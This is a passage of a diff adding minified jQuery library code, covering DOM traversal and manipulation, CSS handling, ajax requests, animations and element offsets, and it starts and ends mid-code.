+"string")return c.inArray(this[0],a?c(a):this.parent().children());return c.inArray(a.jquery?a[0]:a,this)},add:function(a,b){a=typeof a==="string"?c(a,b||this.context):c.makeArray(a);b=c.merge(this.get(),a);return this.pushStack(qa(a[0])||qa(b[0])?b:c.unique(b))},andSelf:function(){return this.add(this.prevObject)}});c.each({parent:function(a){return(a=a.parentNode)&&a.nodeType!==11?a:null},parents:function(a){return c.dir(a,"parentNode")},parentsUntil:function(a,b,d){return c.dir(a,"parentNode",
+d)},next:function(a){return c.nth(a,2,"nextSibling")},prev:function(a){return c.nth(a,2,"previousSibling")},nextAll:function(a){return c.dir(a,"nextSibling")},prevAll:function(a){return c.dir(a,"previousSibling")},nextUntil:function(a,b,d){return c.dir(a,"nextSibling",d)},prevUntil:function(a,b,d){return c.dir(a,"previousSibling",d)},siblings:function(a){return c.sibling(a.parentNode.firstChild,a)},children:function(a){return c.sibling(a.firstChild)},contents:function(a){return c.nodeName(a,"iframe")?
+a.contentDocument||a.contentWindow.document:c.makeArray(a.childNodes)}},function(a,b){c.fn[a]=function(d,f){var e=c.map(this,b,d);eb.test(a)||(f=d);if(f&&typeof f==="string")e=c.filter(f,e);e=this.length>1?c.unique(e):e;if((this.length>1||gb.test(f))&&fb.test(a))e=e.reverse();return this.pushStack(e,a,R.call(arguments).join(","))}});c.extend({filter:function(a,b,d){if(d)a=":not("+a+")";return c.find.matches(a,b)},dir:function(a,b,d){var f=[];for(a=a[b];a&&a.nodeType!==9&&(d===w||a.nodeType!==1||!c(a).is(d));){a.nodeType===
+1&&f.push(a);a=a[b]}return f},nth:function(a,b,d){b=b||1;for(var f=0;a;a=a[d])if(a.nodeType===1&&++f===b)break;return a},sibling:function(a,b){for(var d=[];a;a=a.nextSibling)a.nodeType===1&&a!==b&&d.push(a);return d}});var Ja=/ jQuery\d+="(?:\d+|null)"/g,V=/^\s+/,Ka=/(<([\w:]+)[^>]*?)\/>/g,hb=/^(?:area|br|col|embed|hr|img|input|link|meta|param)$/i,La=/<([\w:]+)/,ib=/<tbody/i,jb=/<|&#?\w+;/,ta=/<script|<object|<embed|<option|<style/i,ua=/checked\s*(?:[^=]|=\s*.checked.)/i,Ma=function(a,b,d){return hb.test(d)?
+a:b+"></"+d+">"},F={option:[1,"<select multiple='multiple'>","</select>"],legend:[1,"<fieldset>","</fieldset>"],thead:[1,"<table>","</table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],col:[2,"<table><tbody></tbody><colgroup>","</colgroup></table>"],area:[1,"<map>","</map>"],_default:[0,"",""]};F.optgroup=F.option;F.tbody=F.tfoot=F.colgroup=F.caption=F.thead;F.th=F.td;if(!c.support.htmlSerialize)F._default=[1,"div<div>","</div>"];c.fn.extend({text:function(a){if(c.isFunction(a))return this.each(function(b){var d=
+c(this);d.text(a.call(this,b,d.text()))});if(typeof a!=="object"&&a!==w)return this.empty().append((this[0]&&this[0].ownerDocument||s).createTextNode(a));return c.text(this)},wrapAll:function(a){if(c.isFunction(a))return this.each(function(d){c(this).wrapAll(a.call(this,d))});if(this[0]){var b=c(a,this[0].ownerDocument).eq(0).clone(true);this[0].parentNode&&b.insertBefore(this[0]);b.map(function(){for(var d=this;d.firstChild&&d.firstChild.nodeType===1;)d=d.firstChild;return d}).append(this)}return this},
+wrapInner:function(a){if(c.isFunction(a))return this.each(function(b){c(this).wrapInner(a.call(this,b))});return this.each(function(){var b=c(this),d=b.contents();d.length?d.wrapAll(a):b.append(a)})},wrap:function(a){return this.each(function(){c(this).wrapAll(a)})},unwrap:function(){return this.parent().each(function(){c.nodeName(this,"body")||c(this).replaceWith(this.childNodes)}).end()},append:function(){return this.domManip(arguments,true,function(a){this.nodeType===1&&this.appendChild(a)})},
+prepend:function(){return this.domManip(arguments,true,function(a){this.nodeType===1&&this.insertBefore(a,this.firstChild)})},before:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,false,function(b){this.parentNode.insertBefore(b,this)});else if(arguments.length){var a=c(arguments[0]);a.push.apply(a,this.toArray());return this.pushStack(a,"before",arguments)}},after:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,false,function(b){this.parentNode.insertBefore(b,
+this.nextSibling)});else if(arguments.length){var a=this.pushStack(this,"after",arguments);a.push.apply(a,c(arguments[0]).toArray());return a}},remove:function(a,b){for(var d=0,f;(f=this[d])!=null;d++)if(!a||c.filter(a,[f]).length){if(!b&&f.nodeType===1){c.cleanData(f.getElementsByTagName("*"));c.cleanData([f])}f.parentNode&&f.parentNode.removeChild(f)}return this},empty:function(){for(var a=0,b;(b=this[a])!=null;a++)for(b.nodeType===1&&c.cleanData(b.getElementsByTagName("*"));b.firstChild;)b.removeChild(b.firstChild);
+return this},clone:function(a){var b=this.map(function(){if(!c.support.noCloneEvent&&!c.isXMLDoc(this)){var d=this.outerHTML,f=this.ownerDocument;if(!d){d=f.createElement("div");d.appendChild(this.cloneNode(true));d=d.innerHTML}return c.clean([d.replace(Ja,"").replace(/=([^="'>\s]+\/)>/g,'="$1">').replace(V,"")],f)[0]}else return this.cloneNode(true)});if(a===true){ra(this,b);ra(this.find("*"),b.find("*"))}return b},html:function(a){if(a===w)return this[0]&&this[0].nodeType===1?this[0].innerHTML.replace(Ja,
+""):null;else if(typeof a==="string"&&!ta.test(a)&&(c.support.leadingWhitespace||!V.test(a))&&!F[(La.exec(a)||["",""])[1].toLowerCase()]){a=a.replace(Ka,Ma);try{for(var b=0,d=this.length;b<d;b++)if(this[b].nodeType===1){c.cleanData(this[b].getElementsByTagName("*"));this[b].innerHTML=a}}catch(f){this.empty().append(a)}}else c.isFunction(a)?this.each(function(e){var j=c(this),i=j.html();j.empty().append(function(){return a.call(this,e,i)})}):this.empty().append(a);return this},replaceWith:function(a){if(this[0]&&
+this[0].parentNode){if(c.isFunction(a))return this.each(function(b){var d=c(this),f=d.html();d.replaceWith(a.call(this,b,f))});if(typeof a!=="string")a=c(a).detach();return this.each(function(){var b=this.nextSibling,d=this.parentNode;c(this).remove();b?c(b).before(a):c(d).append(a)})}else return this.pushStack(c(c.isFunction(a)?a():a),"replaceWith",a)},detach:function(a){return this.remove(a,true)},domManip:function(a,b,d){function f(u){return c.nodeName(u,"table")?u.getElementsByTagName("tbody")[0]||
+u.appendChild(u.ownerDocument.createElement("tbody")):u}var e,j,i=a[0],o=[],k;if(!c.support.checkClone&&arguments.length===3&&typeof i==="string"&&ua.test(i))return this.each(function(){c(this).domManip(a,b,d,true)});if(c.isFunction(i))return this.each(function(u){var z=c(this);a[0]=i.call(this,u,b?z.html():w);z.domManip(a,b,d)});if(this[0]){e=i&&i.parentNode;e=c.support.parentNode&&e&&e.nodeType===11&&e.childNodes.length===this.length?{fragment:e}:sa(a,this,o);k=e.fragment;if(j=k.childNodes.length===
+1?(k=k.firstChild):k.firstChild){b=b&&c.nodeName(j,"tr");for(var n=0,r=this.length;n<r;n++)d.call(b?f(this[n],j):this[n],n>0||e.cacheable||this.length>1?k.cloneNode(true):k)}o.length&&c.each(o,Qa)}return this}});c.fragments={};c.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(a,b){c.fn[a]=function(d){var f=[];d=c(d);var e=this.length===1&&this[0].parentNode;if(e&&e.nodeType===11&&e.childNodes.length===1&&d.length===1){d[b](this[0]);
+return this}else{e=0;for(var j=d.length;e<j;e++){var i=(e>0?this.clone(true):this).get();c.fn[b].apply(c(d[e]),i);f=f.concat(i)}return this.pushStack(f,a,d.selector)}}});c.extend({clean:function(a,b,d,f){b=b||s;if(typeof b.createElement==="undefined")b=b.ownerDocument||b[0]&&b[0].ownerDocument||s;for(var e=[],j=0,i;(i=a[j])!=null;j++){if(typeof i==="number")i+="";if(i){if(typeof i==="string"&&!jb.test(i))i=b.createTextNode(i);else if(typeof i==="string"){i=i.replace(Ka,Ma);var o=(La.exec(i)||["",
+""])[1].toLowerCase(),k=F[o]||F._default,n=k[0],r=b.createElement("div");for(r.innerHTML=k[1]+i+k[2];n--;)r=r.lastChild;if(!c.support.tbody){n=ib.test(i);o=o==="table"&&!n?r.firstChild&&r.firstChild.childNodes:k[1]==="<table>"&&!n?r.childNodes:[];for(k=o.length-1;k>=0;--k)c.nodeName(o[k],"tbody")&&!o[k].childNodes.length&&o[k].parentNode.removeChild(o[k])}!c.support.leadingWhitespace&&V.test(i)&&r.insertBefore(b.createTextNode(V.exec(i)[0]),r.firstChild);i=r.childNodes}if(i.nodeType)e.push(i);else e=
+c.merge(e,i)}}if(d)for(j=0;e[j];j++)if(f&&c.nodeName(e[j],"script")&&(!e[j].type||e[j].type.toLowerCase()==="text/javascript"))f.push(e[j].parentNode?e[j].parentNode.removeChild(e[j]):e[j]);else{e[j].nodeType===1&&e.splice.apply(e,[j+1,0].concat(c.makeArray(e[j].getElementsByTagName("script"))));d.appendChild(e[j])}return e},cleanData:function(a){for(var b,d,f=c.cache,e=c.event.special,j=c.support.deleteExpando,i=0,o;(o=a[i])!=null;i++)if(d=o[c.expando]){b=f[d];if(b.events)for(var k in b.events)e[k]?
+c.event.remove(o,k):Ca(o,k,b.handle);if(j)delete o[c.expando];else o.removeAttribute&&o.removeAttribute(c.expando);delete f[d]}}});var kb=/z-?index|font-?weight|opacity|zoom|line-?height/i,Na=/alpha\([^)]*\)/,Oa=/opacity=([^)]*)/,ha=/float/i,ia=/-([a-z])/ig,lb=/([A-Z])/g,mb=/^-?\d+(?:px)?$/i,nb=/^-?\d/,ob={position:"absolute",visibility:"hidden",display:"block"},pb=["Left","Right"],qb=["Top","Bottom"],rb=s.defaultView&&s.defaultView.getComputedStyle,Pa=c.support.cssFloat?"cssFloat":"styleFloat",ja=
+function(a,b){return b.toUpperCase()};c.fn.css=function(a,b){return X(this,a,b,true,function(d,f,e){if(e===w)return c.curCSS(d,f);if(typeof e==="number"&&!kb.test(f))e+="px";c.style(d,f,e)})};c.extend({style:function(a,b,d){if(!a||a.nodeType===3||a.nodeType===8)return w;if((b==="width"||b==="height")&&parseFloat(d)<0)d=w;var f=a.style||a,e=d!==w;if(!c.support.opacity&&b==="opacity"){if(e){f.zoom=1;b=parseInt(d,10)+""==="NaN"?"":"alpha(opacity="+d*100+")";a=f.filter||c.curCSS(a,"filter")||"";f.filter=
+Na.test(a)?a.replace(Na,b):b}return f.filter&&f.filter.indexOf("opacity=")>=0?parseFloat(Oa.exec(f.filter)[1])/100+"":""}if(ha.test(b))b=Pa;b=b.replace(ia,ja);if(e)f[b]=d;return f[b]},css:function(a,b,d,f){if(b==="width"||b==="height"){var e,j=b==="width"?pb:qb;function i(){e=b==="width"?a.offsetWidth:a.offsetHeight;f!=="border"&&c.each(j,function(){f||(e-=parseFloat(c.curCSS(a,"padding"+this,true))||0);if(f==="margin")e+=parseFloat(c.curCSS(a,"margin"+this,true))||0;else e-=parseFloat(c.curCSS(a,
+"border"+this+"Width",true))||0})}a.offsetWidth!==0?i():c.swap(a,ob,i);return Math.max(0,Math.round(e))}return c.curCSS(a,b,d)},curCSS:function(a,b,d){var f,e=a.style;if(!c.support.opacity&&b==="opacity"&&a.currentStyle){f=Oa.test(a.currentStyle.filter||"")?parseFloat(RegExp.$1)/100+"":"";return f===""?"1":f}if(ha.test(b))b=Pa;if(!d&&e&&e[b])f=e[b];else if(rb){if(ha.test(b))b="float";b=b.replace(lb,"-$1").toLowerCase();e=a.ownerDocument.defaultView;if(!e)return null;if(a=e.getComputedStyle(a,null))f=
+a.getPropertyValue(b);if(b==="opacity"&&f==="")f="1"}else if(a.currentStyle){d=b.replace(ia,ja);f=a.currentStyle[b]||a.currentStyle[d];if(!mb.test(f)&&nb.test(f)){b=e.left;var j=a.runtimeStyle.left;a.runtimeStyle.left=a.currentStyle.left;e.left=d==="fontSize"?"1em":f||0;f=e.pixelLeft+"px";e.left=b;a.runtimeStyle.left=j}}return f},swap:function(a,b,d){var f={};for(var e in b){f[e]=a.style[e];a.style[e]=b[e]}d.call(a);for(e in b)a.style[e]=f[e]}});if(c.expr&&c.expr.filters){c.expr.filters.hidden=function(a){var b=
+a.offsetWidth,d=a.offsetHeight,f=a.nodeName.toLowerCase()==="tr";return b===0&&d===0&&!f?true:b>0&&d>0&&!f?false:c.curCSS(a,"display")==="none"};c.expr.filters.visible=function(a){return!c.expr.filters.hidden(a)}}var sb=J(),tb=/<script(.|\s)*?\/script>/gi,ub=/select|textarea/i,vb=/color|date|datetime|email|hidden|month|number|password|range|search|tel|text|time|url|week/i,N=/=\?(&|$)/,ka=/\?/,wb=/(\?|&)_=.*?(&|$)/,xb=/^(\w+:)?\/\/([^\/?#]+)/,yb=/%20/g,zb=c.fn.load;c.fn.extend({load:function(a,b,d){if(typeof a!==
+"string")return zb.call(this,a);else if(!this.length)return this;var f=a.indexOf(" ");if(f>=0){var e=a.slice(f,a.length);a=a.slice(0,f)}f="GET";if(b)if(c.isFunction(b)){d=b;b=null}else if(typeof b==="object"){b=c.param(b,c.ajaxSettings.traditional);f="POST"}var j=this;c.ajax({url:a,type:f,dataType:"html",data:b,complete:function(i,o){if(o==="success"||o==="notmodified")j.html(e?c("<div />").append(i.responseText.replace(tb,"")).find(e):i.responseText);d&&j.each(d,[i.responseText,o,i])}});return this},
+serialize:function(){return c.param(this.serializeArray())},serializeArray:function(){return this.map(function(){return this.elements?c.makeArray(this.elements):this}).filter(function(){return this.name&&!this.disabled&&(this.checked||ub.test(this.nodeName)||vb.test(this.type))}).map(function(a,b){a=c(this).val();return a==null?null:c.isArray(a)?c.map(a,function(d){return{name:b.name,value:d}}):{name:b.name,value:a}}).get()}});c.each("ajaxStart ajaxStop ajaxComplete ajaxError ajaxSuccess ajaxSend".split(" "),
+function(a,b){c.fn[b]=function(d){return this.bind(b,d)}});c.extend({get:function(a,b,d,f){if(c.isFunction(b)){f=f||d;d=b;b=null}return c.ajax({type:"GET",url:a,data:b,success:d,dataType:f})},getScript:function(a,b){return c.get(a,null,b,"script")},getJSON:function(a,b,d){return c.get(a,b,d,"json")},post:function(a,b,d,f){if(c.isFunction(b)){f=f||d;d=b;b={}}return c.ajax({type:"POST",url:a,data:b,success:d,dataType:f})},ajaxSetup:function(a){c.extend(c.ajaxSettings,a)},ajaxSettings:{url:location.href,
+global:true,type:"GET",contentType:"application/x-www-form-urlencoded",processData:true,async:true,xhr:A.XMLHttpRequest&&(A.location.protocol!=="file:"||!A.ActiveXObject)?function(){return new A.XMLHttpRequest}:function(){try{return new A.ActiveXObject("Microsoft.XMLHTTP")}catch(a){}},accepts:{xml:"application/xml, text/xml",html:"text/html",script:"text/javascript, application/javascript",json:"application/json, text/javascript",text:"text/plain",_default:"*/*"}},lastModified:{},etag:{},ajax:function(a){function b(){e.success&&
+e.success.call(k,o,i,x);e.global&&f("ajaxSuccess",[x,e])}function d(){e.complete&&e.complete.call(k,x,i);e.global&&f("ajaxComplete",[x,e]);e.global&&!--c.active&&c.event.trigger("ajaxStop")}function f(q,p){(e.context?c(e.context):c.event).trigger(q,p)}var e=c.extend(true,{},c.ajaxSettings,a),j,i,o,k=a&&a.context||e,n=e.type.toUpperCase();if(e.data&&e.processData&&typeof e.data!=="string")e.data=c.param(e.data,e.traditional);if(e.dataType==="jsonp"){if(n==="GET")N.test(e.url)||(e.url+=(ka.test(e.url)?
+"&":"?")+(e.jsonp||"callback")+"=?");else if(!e.data||!N.test(e.data))e.data=(e.data?e.data+"&":"")+(e.jsonp||"callback")+"=?";e.dataType="json"}if(e.dataType==="json"&&(e.data&&N.test(e.data)||N.test(e.url))){j=e.jsonpCallback||"jsonp"+sb++;if(e.data)e.data=(e.data+"").replace(N,"="+j+"$1");e.url=e.url.replace(N,"="+j+"$1");e.dataType="script";A[j]=A[j]||function(q){o=q;b();d();A[j]=w;try{delete A[j]}catch(p){}z&&z.removeChild(C)}}if(e.dataType==="script"&&e.cache===null)e.cache=false;if(e.cache===
+false&&n==="GET"){var r=J(),u=e.url.replace(wb,"$1_="+r+"$2");e.url=u+(u===e.url?(ka.test(e.url)?"&":"?")+"_="+r:"")}if(e.data&&n==="GET")e.url+=(ka.test(e.url)?"&":"?")+e.data;e.global&&!c.active++&&c.event.trigger("ajaxStart");r=(r=xb.exec(e.url))&&(r[1]&&r[1]!==location.protocol||r[2]!==location.host);if(e.dataType==="script"&&n==="GET"&&r){var z=s.getElementsByTagName("head")[0]||s.documentElement,C=s.createElement("script");C.src=e.url;if(e.scriptCharset)C.charset=e.scriptCharset;if(!j){var B=
+false;C.onload=C.onreadystatechange=function(){if(!B&&(!this.readyState||this.readyState==="loaded"||this.readyState==="complete")){B=true;b();d();C.onload=C.onreadystatechange=null;z&&C.parentNode&&z.removeChild(C)}}}z.insertBefore(C,z.firstChild);return w}var E=false,x=e.xhr();if(x){e.username?x.open(n,e.url,e.async,e.username,e.password):x.open(n,e.url,e.async);try{if(e.data||a&&a.contentType)x.setRequestHeader("Content-Type",e.contentType);if(e.ifModified){c.lastModified[e.url]&&x.setRequestHeader("If-Modified-Since",
+c.lastModified[e.url]);c.etag[e.url]&&x.setRequestHeader("If-None-Match",c.etag[e.url])}r||x.setRequestHeader("X-Requested-With","XMLHttpRequest");x.setRequestHeader("Accept",e.dataType&&e.accepts[e.dataType]?e.accepts[e.dataType]+", */*":e.accepts._default)}catch(ga){}if(e.beforeSend&&e.beforeSend.call(k,x,e)===false){e.global&&!--c.active&&c.event.trigger("ajaxStop");x.abort();return false}e.global&&f("ajaxSend",[x,e]);var g=x.onreadystatechange=function(q){if(!x||x.readyState===0||q==="abort"){E||
+d();E=true;if(x)x.onreadystatechange=c.noop}else if(!E&&x&&(x.readyState===4||q==="timeout")){E=true;x.onreadystatechange=c.noop;i=q==="timeout"?"timeout":!c.httpSuccess(x)?"error":e.ifModified&&c.httpNotModified(x,e.url)?"notmodified":"success";var p;if(i==="success")try{o=c.httpData(x,e.dataType,e)}catch(v){i="parsererror";p=v}if(i==="success"||i==="notmodified")j||b();else c.handleError(e,x,i,p);d();q==="timeout"&&x.abort();if(e.async)x=null}};try{var h=x.abort;x.abort=function(){x&&h.call(x);
+g("abort")}}catch(l){}e.async&&e.timeout>0&&setTimeout(function(){x&&!E&&g("timeout")},e.timeout);try{x.send(n==="POST"||n==="PUT"||n==="DELETE"?e.data:null)}catch(m){c.handleError(e,x,null,m);d()}e.async||g();return x}},handleError:function(a,b,d,f){if(a.error)a.error.call(a.context||a,b,d,f);if(a.global)(a.context?c(a.context):c.event).trigger("ajaxError",[b,a,f])},active:0,httpSuccess:function(a){try{return!a.status&&location.protocol==="file:"||a.status>=200&&a.status<300||a.status===304||a.status===
+1223||a.status===0}catch(b){}return false},httpNotModified:function(a,b){var d=a.getResponseHeader("Last-Modified"),f=a.getResponseHeader("Etag");if(d)c.lastModified[b]=d;if(f)c.etag[b]=f;return a.status===304||a.status===0},httpData:function(a,b,d){var f=a.getResponseHeader("content-type")||"",e=b==="xml"||!b&&f.indexOf("xml")>=0;a=e?a.responseXML:a.responseText;e&&a.documentElement.nodeName==="parsererror"&&c.error("parsererror");if(d&&d.dataFilter)a=d.dataFilter(a,b);if(typeof a==="string")if(b===
+"json"||!b&&f.indexOf("json")>=0)a=c.parseJSON(a);else if(b==="script"||!b&&f.indexOf("javascript")>=0)c.globalEval(a);return a},param:function(a,b){function d(i,o){if(c.isArray(o))c.each(o,function(k,n){b||/\[\]$/.test(i)?f(i,n):d(i+"["+(typeof n==="object"||c.isArray(n)?k:"")+"]",n)});else!b&&o!=null&&typeof o==="object"?c.each(o,function(k,n){d(i+"["+k+"]",n)}):f(i,o)}function f(i,o){o=c.isFunction(o)?o():o;e[e.length]=encodeURIComponent(i)+"="+encodeURIComponent(o)}var e=[];if(b===w)b=c.ajaxSettings.traditional;
+if(c.isArray(a)||a.jquery)c.each(a,function(){f(this.name,this.value)});else for(var j in a)d(j,a[j]);return e.join("&").replace(yb,"+")}});var la={},Ab=/toggle|show|hide/,Bb=/^([+-]=)?([\d+-.]+)(.*)$/,W,va=[["height","marginTop","marginBottom","paddingTop","paddingBottom"],["width","marginLeft","marginRight","paddingLeft","paddingRight"],["opacity"]];c.fn.extend({show:function(a,b){if(a||a===0)return this.animate(K("show",3),a,b);else{a=0;for(b=this.length;a<b;a++){var d=c.data(this[a],"olddisplay");
+this[a].style.display=d||"";if(c.css(this[a],"display")==="none"){d=this[a].nodeName;var f;if(la[d])f=la[d];else{var e=c("<"+d+" />").appendTo("body");f=e.css("display");if(f==="none")f="block";e.remove();la[d]=f}c.data(this[a],"olddisplay",f)}}a=0;for(b=this.length;a<b;a++)this[a].style.display=c.data(this[a],"olddisplay")||"";return this}},hide:function(a,b){if(a||a===0)return this.animate(K("hide",3),a,b);else{a=0;for(b=this.length;a<b;a++){var d=c.data(this[a],"olddisplay");!d&&d!=="none"&&c.data(this[a],
+"olddisplay",c.css(this[a],"display"))}a=0;for(b=this.length;a<b;a++)this[a].style.display="none";return this}},_toggle:c.fn.toggle,toggle:function(a,b){var d=typeof a==="boolean";if(c.isFunction(a)&&c.isFunction(b))this._toggle.apply(this,arguments);else a==null||d?this.each(function(){var f=d?a:c(this).is(":hidden");c(this)[f?"show":"hide"]()}):this.animate(K("toggle",3),a,b);return this},fadeTo:function(a,b,d){return this.filter(":hidden").css("opacity",0).show().end().animate({opacity:b},a,d)},
+animate:function(a,b,d,f){var e=c.speed(b,d,f);if(c.isEmptyObject(a))return this.each(e.complete);return this[e.queue===false?"each":"queue"](function(){var j=c.extend({},e),i,o=this.nodeType===1&&c(this).is(":hidden"),k=this;for(i in a){var n=i.replace(ia,ja);if(i!==n){a[n]=a[i];delete a[i];i=n}if(a[i]==="hide"&&o||a[i]==="show"&&!o)return j.complete.call(this);if((i==="height"||i==="width")&&this.style){j.display=c.css(this,"display");j.overflow=this.style.overflow}if(c.isArray(a[i])){(j.specialEasing=
+j.specialEasing||{})[i]=a[i][1];a[i]=a[i][0]}}if(j.overflow!=null)this.style.overflow="hidden";j.curAnim=c.extend({},a);c.each(a,function(r,u){var z=new c.fx(k,j,r);if(Ab.test(u))z[u==="toggle"?o?"show":"hide":u](a);else{var C=Bb.exec(u),B=z.cur(true)||0;if(C){u=parseFloat(C[2]);var E=C[3]||"px";if(E!=="px"){k.style[r]=(u||1)+E;B=(u||1)/z.cur(true)*B;k.style[r]=B+E}if(C[1])u=(C[1]==="-="?-1:1)*u+B;z.custom(B,u,E)}else z.custom(B,u,"")}});return true})},stop:function(a,b){var d=c.timers;a&&this.queue([]);
+this.each(function(){for(var f=d.length-1;f>=0;f--)if(d[f].elem===this){b&&d[f](true);d.splice(f,1)}});b||this.dequeue();return this}});c.each({slideDown:K("show",1),slideUp:K("hide",1),slideToggle:K("toggle",1),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"}},function(a,b){c.fn[a]=function(d,f){return this.animate(b,d,f)}});c.extend({speed:function(a,b,d){var f=a&&typeof a==="object"?a:{complete:d||!d&&b||c.isFunction(a)&&a,duration:a,easing:d&&b||b&&!c.isFunction(b)&&b};f.duration=c.fx.off?0:typeof f.duration===
+"number"?f.duration:c.fx.speeds[f.duration]||c.fx.speeds._default;f.old=f.complete;f.complete=function(){f.queue!==false&&c(this).dequeue();c.isFunction(f.old)&&f.old.call(this)};return f},easing:{linear:function(a,b,d,f){return d+f*a},swing:function(a,b,d,f){return(-Math.cos(a*Math.PI)/2+0.5)*f+d}},timers:[],fx:function(a,b,d){this.options=b;this.elem=a;this.prop=d;if(!b.orig)b.orig={}}});c.fx.prototype={update:function(){this.options.step&&this.options.step.call(this.elem,this.now,this);(c.fx.step[this.prop]||
+c.fx.step._default)(this);if((this.prop==="height"||this.prop==="width")&&this.elem.style)this.elem.style.display="block"},cur:function(a){if(this.elem[this.prop]!=null&&(!this.elem.style||this.elem.style[this.prop]==null))return this.elem[this.prop];return(a=parseFloat(c.css(this.elem,this.prop,a)))&&a>-10000?a:parseFloat(c.curCSS(this.elem,this.prop))||0},custom:function(a,b,d){function f(j){return e.step(j)}this.startTime=J();this.start=a;this.end=b;this.unit=d||this.unit||"px";this.now=this.start;
+this.pos=this.state=0;var e=this;f.elem=this.elem;if(f()&&c.timers.push(f)&&!W)W=setInterval(c.fx.tick,13)},show:function(){this.options.orig[this.prop]=c.style(this.elem,this.prop);this.options.show=true;this.custom(this.prop==="width"||this.prop==="height"?1:0,this.cur());c(this.elem).show()},hide:function(){this.options.orig[this.prop]=c.style(this.elem,this.prop);this.options.hide=true;this.custom(this.cur(),0)},step:function(a){var b=J(),d=true;if(a||b>=this.options.duration+this.startTime){this.now=
+this.end;this.pos=this.state=1;this.update();this.options.curAnim[this.prop]=true;for(var f in this.options.curAnim)if(this.options.curAnim[f]!==true)d=false;if(d){if(this.options.display!=null){this.elem.style.overflow=this.options.overflow;a=c.data(this.elem,"olddisplay");this.elem.style.display=a?a:this.options.display;if(c.css(this.elem,"display")==="none")this.elem.style.display="block"}this.options.hide&&c(this.elem).hide();if(this.options.hide||this.options.show)for(var e in this.options.curAnim)c.style(this.elem,
+e,this.options.orig[e]);this.options.complete.call(this.elem)}return false}else{e=b-this.startTime;this.state=e/this.options.duration;a=this.options.easing||(c.easing.swing?"swing":"linear");this.pos=c.easing[this.options.specialEasing&&this.options.specialEasing[this.prop]||a](this.state,e,0,1,this.options.duration);this.now=this.start+(this.end-this.start)*this.pos;this.update()}return true}};c.extend(c.fx,{tick:function(){for(var a=c.timers,b=0;b<a.length;b++)a[b]()||a.splice(b--,1);a.length||
+c.fx.stop()},stop:function(){clearInterval(W);W=null},speeds:{slow:600,fast:200,_default:400},step:{opacity:function(a){c.style(a.elem,"opacity",a.now)},_default:function(a){if(a.elem.style&&a.elem.style[a.prop]!=null)a.elem.style[a.prop]=(a.prop==="width"||a.prop==="height"?Math.max(0,a.now):a.now)+a.unit;else a.elem[a.prop]=a.now}}});if(c.expr&&c.expr.filters)c.expr.filters.animated=function(a){return c.grep(c.timers,function(b){return a===b.elem}).length};c.fn.offset="getBoundingClientRect"in s.documentElement?
+function(a){var b=this[0];if(a)return this.each(function(e){c.offset.setOffset(this,a,e)});if(!b||!b.ownerDocument)return null;if(b===b.ownerDocument.body)return c.offset.bodyOffset(b);var d=b.getBoundingClientRect(),f=b.ownerDocument;b=f.body;f=f.documentElement;return{top:d.top+(self.pageYOffset||c.support.boxModel&&f.scrollTop||b.scrollTop)-(f.clientTop||b.clientTop||0),left:d.left+(self.pageXOffset||c.support.boxModel&&f.scrollLeft||b.scrollLeft)-(f.clientLeft||b.clientLeft||0)}}:function(a){var b=
+this[0];if(a)return this.each(function(r){c.offset.setOffset(this,a,r)});if(!b||!b.ownerDocument)return null;if(b===b.ownerDocument.body)return c.offset.bodyOffset(b);c.offset.initialize();var d=b.offsetParent,f=b,e=b.ownerDocument,j,i=e.documentElement,o=e.body;f=(e=e.defaultView)?e.getComputedStyle(b,null):b.currentStyle;for(var k=b.offsetTop,n=b.offsetLeft;(b=b.parentNode)&&b!==o&&b!==i;){if(c.offset.supportsFixedPosition&&f.position==="fixed")break;j=e?e.getComputedStyle(b,null):b.currentStyle;
+k-=b.scrollTop;n-=b.scrollLeft;if(b===d){k+=b.offsetTop;n+=b.offsetLeft;if(c.offset.doesNotAddBorder&&!(c.offset.doesAddBorderForTableAndCells&&/^t(able|d|h)$/i.test(b.nodeName))){k+=parseFloat(j.borderTopWidth)||0;n+=parseFloat(j.borderLeftWidth)||0}f=d;d=b.offsetParent}if(c.offset.subtractsBorderForOverflowNotVisible&&j.overflow!=="visible"){k+=parseFloat(j.borderTopWidth)||0;n+=parseFloat(j.borderLeftWidth)||0}f=j}if(f.position==="relative"||f.position==="static"){k+=o.offsetTop;n+=o.offsetLeft}if(c.offset.supportsFixedPosition&&
+f.position==="fixed"){k+=Math.max(i.scrollTop,o.scrollTop);n+=Math.max(i.scrollLeft,o.scrollLeft)}return{top:k,left:n}};c.offset={initialize:function(){var a=s.body,b=s.createElement("div"),d,f,e,j=parseFloat(c.curCSS(a,"marginTop",true))||0;c.extend(b.style,{position:"absolute",top:0,left:0,margin:0,border:0,width:"1px",height:"1px",visibility:"hidden"});b.innerHTML="<div style='position:absolute;top:0;left:0;margin:0;border:5px solid #000;padding:0;width:1px;height:1px;'><div></div></div><table style='position:absolute;top:0;left:0;margin:0;border:5px solid #000;padding:0;width:1px;height:1px;' cellpadding='0' cellspacing='0'><tr><td></td></tr></table>";
+a.insertBefore(b,a.firstChild);d=b.firstChild;f=d.firstChild;e=d.nextSibling.firstChild.firstChild;this.doesNotAddBorder=f.offsetTop!==5;this.doesAddBorderForTableAndCells=e.offsetTop===5;f.style.position="fixed";f.style.top="20px";this.supportsFixedPosition=f.offsetTop===20||f.offsetTop===15;f.style.position=f.style.top="";d.style.overflow="hidden";d.style.position="relative";this.subtractsBorderForOverflowNotVisible=f.offsetTop===-5;this.doesNotIncludeMarginInBodyOffset=a.offsetTop!==j;a.removeChild(b);
+c.offset.initialize=c.noop},bodyOffset:function(a){var b=a.offsetTop,d=a.offsetLeft;c.offset.initialize();if(c.offset.doesNotIncludeMarginInBodyOffset){b+=parseFloat(c.curCSS(a,"marginTop",true))||0;d+=parseFloat(c.curCSS(a,"marginLeft",true))||0}return{top:b,left:d}},setOffset:function(a,b,d){if(/static/.test(c.curCSS(a,"position")))a.style.position="relative";var f=c(a),e=f.offset(),j=parseInt(c.curCSS(a,"top",true),10)||0,i=parseInt(c.curCSS(a,"left",true),10)||0;if(c.isFunction(b))b=b.call(a,
